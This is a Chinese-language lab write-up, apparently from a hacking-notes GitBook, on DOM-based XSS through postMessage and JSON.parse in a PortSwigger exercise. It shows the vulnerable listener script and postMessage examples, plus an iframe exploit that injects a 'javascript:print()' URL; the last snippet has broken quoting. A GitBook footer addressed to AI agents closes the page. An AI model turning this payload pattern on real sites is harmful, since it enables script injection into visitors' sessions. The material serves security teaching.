> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# 通过 Web 消息和 json.parse 的 DOM XSS

### 使用 Web 消息和 JSON.parse 的 DOM 型 XSS

本文重新表述并将实验（PortSwigger）中提供的笔记翻译成法语：它描述了易受攻击的代码、它如何解释消息，以及用于调用的有效载荷 `print()` 通过一个 `iframe`.

易受攻击脚本的描述

该脚本动态创建一个 `iframe` 标签，并通过接收到的消息远程控制 `postMessage` 事件。它可以加载 URL、调整播放器大小并将其滚动到页面中。

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="/files/1548f8de27f665551d50f17053e2a426cb80cada" alt=""><figcaption></figcaption></figure>

### `postMessage` 消息示例

发送一个 JSON 字符串化的消息可让脚本解释所请求的操作。

加载一个正常的 URL：

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="/files/e82aba9cb6f8b468f92420368945f773e9ad610a" alt=""><figcaption></figcaption></figure>

使用一个 `JavaScript：` 模式来运行代码（这里调用 `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="/files/5773c64e298f5e69a72c0e33ff1acc5e44554125" alt=""><figcaption></figcaption></figure>

在控制服务器上，你可以放置一个 HTML 页面，其中带有一个 `iframe` 指向易受攻击页面的，并发送 `load-string` 消息， `URL: "JavaScript:print()"` 在加载 iframe 时。

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/dom/xss-dom-with-web-messages-and-json-parse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
